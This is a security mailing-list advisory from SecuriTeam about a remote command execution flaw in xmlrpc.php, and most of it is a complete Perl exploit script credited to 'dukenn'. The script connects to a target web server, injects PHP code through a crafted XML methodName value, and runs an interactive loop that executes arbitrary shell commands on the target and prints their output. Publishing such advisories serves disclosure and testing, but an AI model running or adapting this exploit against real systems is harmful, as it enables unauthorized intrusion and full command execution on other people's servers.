[EXPL] XMLRPC Remote Commands Execution (Exploit)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -

XMLRPC Remote Commands Execution (Exploit)
------------------------------------------------------------------------

SUMMARY

Lack of parameter filtering by the xmlrpc.php script allows a remote
attacker to cause the script to execute arbitrary code. The following
exploit code can be used to test your system for the mentioned
vulnerability.

DETAILS

Exploit:
#-------------------------------------------------------#
# Original advisory by http://gulftech.org/
# Exploit coded by dukenn (http://asteam.org)
#-------------------------------------------------------#

#!/usr/bin/perl

use IO::Socket;

print "XMLRPC remote commands execute exploit by dukenn
(http://asteam.org)\n";

if ($ARGV[0] && $ARGV[1])
{
$host = $ARGV[0];
$xml = $ARGV[1];
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host",
PeerPort => "80") || die "connecterror\n";
while (1) {
print '['.$host.']# ';
$cmd = <STDIN>;
chop($cmd);
last if ($cmd eq 'exit');
$xmldata = "<?xml
version=\"1.0\"?><methodCall><methodName>test.method" .
"</methodName><params><param><" . "value><name>',''));echo
'_begin_\n';echo `".$cmd."`;echo
'_end_';exit;/*</name></value></param></params></methodCall>";
print $sock "POST ".$xml." HTTP/1.1\n";
print $sock "Host: ".$host."\n";
print $sock "Content-Type: text/xml\n";
print $sock "Content-Length:".length($xmldata)."\n\n".$xmldata;
$good=0;
while ($ans = <$sock>)
{
if ($good == 1) { print "$ans"; }
last if ($ans =~ /^_end_/);
if ($ans =~ /^_begin_/) { $good = 1; }
}
if ($good==0) {print "Exploit Failed\n";exit();}
}
}
else {
print "Usage: perl xml.pl [host] [path_to_xmlrpc]\n\n";
print "Example: perl xml.pl target.com /script/xmlrpc.php\n";
exit;
}

# EOF

ADDITIONAL INFORMATION

The information has been provided by <mailto:info@asteam.org> dukenn.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.